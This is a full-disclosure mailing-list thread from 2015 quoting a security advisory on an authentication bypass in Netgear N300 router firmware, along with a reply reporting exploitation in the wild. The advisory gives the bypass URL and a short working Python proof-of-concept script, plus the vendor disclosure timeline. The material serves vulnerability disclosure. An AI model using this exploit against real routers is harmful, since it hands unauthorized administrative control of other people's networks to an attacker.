Hi Joe,
Thanks for your feedback. Daniel, who discovered the issue and liaised with Netgear to get the issue patched, is in CC of this email. Would you mind to share some further details? This may help putting pressure on Netgear to release the patch they actually developed beginning of September (!) but did not yet publish… Thanks, Alexandre From: Joe G [mailto:joseph.giro...@gmail.com] Sent: Dienstag, 6. Oktober 2015 19:02 To: Alexandre Herzog Cc: bugt...@securityfocus.com; fulldisclosure@seclists.org Subject: Re: Authentication Bypass in Netgear Router Firmware N300_1.1.0.31_1.0.1.img and N300-1.1.0.28_1.0.1.img I can confirm that this is actively being exploited in the wild as we speak. I got owned last week. On Tue, Oct 6, 2015 at 7:59 AM, Alexandre Herzog <alexandre.her...@csnc.ch> wrote: ############################################################# # # COMPASS SECURITY ADVISORY # http://www.csnc.ch/en/downloads/advisories.html # ############################################################# # # Product: Netgear Router Firmware N300_1.1.0.31_1.0.1.img # and N300-1.1.0.28_1.0.1.img # Vendor: NETGEAR # CVE ID: requested # Subject: Authentication Bypass # Risk: High # Effect: Remotely exploitable over LAN/WLAN # Author: Daniel Haake (daniel.ha...@csnc.de) # Date: 06.10.2015 # ############################################################# Introduction: ------------- Multiple NETGEAR wireless routers are out of the box vulnerable to an authentication bypass attack. No router options has to be changed to exploit the issue. So an attacker can access the administration interface of the router without submitting any valid username and password, just by requesting a special URL several times. Affected: --------- - Router Firmware: N300_1.1.0.31_1.0.1.img - Router Firmware; N300-1.1.0.28_1.0.1.img - tested and confirmed on the WNR1000v4 Router with both firmwares - other products may also be vulnerable because the firmware is used in multiple devices Technical Description: ---------------------- The attacker can exploit the issue by using a browser or writing a simple exploit. 1. When a user wants to access the web interface, a http basic authentication login process is initiated 2. If he does not know the username and password he gets redirected to the 401_access_denied.htm file 3. An attacker now has to call the URL <http://%3cROUTER-IP%3e/BRS_netgear_success.html> http://<ROUTER-IP>/BRS_netgear_success.html multiple times -> After that if he can access the administration web interface and there is no username/password prompt Example Python script: ---------------------- import os import urllib2 import time import sys try: first = urllib2.urlopen("http://"; + sys.argv[1]) print "No password protection!" except: print "Password protection detected!" print "Executing exploit..." for i in range(0,3): time.sleep(1) urllib2.urlopen("http://"; + sys.argv[1] + "/BRS_netgear_success.html") second = urllib2.urlopen("http://"; + sys.argv[1]) if second.getcode() == 200: print "Bypass successfull. Now use your browser to have a look at the admin interface." Workaround/Fix: --------------- None so far. A patch already fixing this vulnerability was developed by Netgear but not released so far (see timeline below). Timeline: --------- Vendor Status: works on patch-release 21.07.2015: Vendor notified per email (secur...@netgear.com) -> No response 23.07.2015: Vendor notified via official chat support 24.07.2015: Support redirected notification to the technical team 29.07.2015: Requested status update and asked if they need further assistance -> No response 21.08.2015: Notified vendor that we will go full disclosure within 90 days if they do not react 03.09.2015: Support again said that they will redirect it to the technical team 03.09.2015: Netgear sent some beta firmware version to look if the vulnerability is fixed 03.09.2015: Confirmed to Netgear that the problem is solved in this version Asked Netgear when they plan to release the firmware with this security fix 11.09.2015: Response from Netgear saying they will not disclose the patch release day 15.09.2015: Asked Netgear again when they plan to publish the security fix for the second time -> No response 29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS 06.10.2015: Forced public release of this advisory to follow up on [2] References: ----------- [1] http://support.netgear.com/product/WNR1000v4 [2] http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.ht <http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html> ml
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